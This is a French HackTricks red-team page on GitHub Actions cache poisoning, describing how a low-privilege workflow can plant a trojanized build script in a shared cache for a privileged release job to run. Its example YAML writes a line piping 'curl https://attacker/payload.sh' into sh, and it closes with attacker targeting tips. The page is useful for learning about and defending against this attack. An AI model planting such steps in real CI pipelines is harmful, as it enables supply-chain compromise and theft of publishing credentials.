GH Actions - Cache Poisoning

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

Le GitHub Actions cache est global à un dépôt. N’importe quel workflow qui connaît une key de cache (ou des restore-keys) peut peupler cette entrée, même si le job n’a que permissions: contents: read. GitHub ne sépare pas les caches par workflow, type d’événement, ou niveau de confiance, donc un attacker qui compromet un job à faible privilège peut empoisonner un cache qu’un privileged release job restaurera ensuite. C’est ainsi que la compromission d’Ultralytics a pivoté d’un workflow pull_request_target vers le pipeline de publication PyPI.

Primitives d’attaque

  • actions/cache expose à la fois les opérations de restore et de save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). L’appel save est autorisé pour n’importe quel job sauf les pull_request workflows véritablement non fiables déclenchés depuis des forks.
  • Les entrées de cache sont identifiées uniquement par la key. Des restore-keys larges facilitent l’injection de payloads car l’attacker n’a besoin que de provoquer une collision sur un préfixe.
  • Le filesystem mis en cache est restauré à l’identique. Si le cache contient des scripts ou des binaries qui sont exécutés plus tard, l’attacker contrôle ce chemin d’exécution.

Exemple de chaîne d’exploitation

Author workflow (pull_request_target) a empoisonné le cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Le workflow privilégié a restauré et exécuté le cache empoisonné :

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Le deuxième job exécute maintenant du code contrôlé par un attaquant tout en disposant des identifiants de publication (PyPI tokens, PATs, cloud deploy keys, etc.).

Practical exploitation tips

  • Ciblez les workflows déclenchés par pull_request_target, issue_comment, ou des commandes de bot qui sauvegardent encore des caches ; GitHub leur permet d’écraser des clés applicables à tout le dépôt même lorsque le runner n’a qu’un accès en lecture au repo.
  • Recherchez des clés de cache déterministes réutilisées à travers des frontières de confiance (par exemple, pip-${{ hashFiles('poetry.lock') }}) ou des restore-keys permissifs, puis sauvegardez votre tarball malveillant avant que le workflow privilégié ne s’exécute.
  • Surveillez les logs pour des entrées Cache saved ou ajoutez votre propre étape de sauvegarde de cache afin que le prochain job de release restaure le payload et exécute les scripts ou binaires trojanized.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks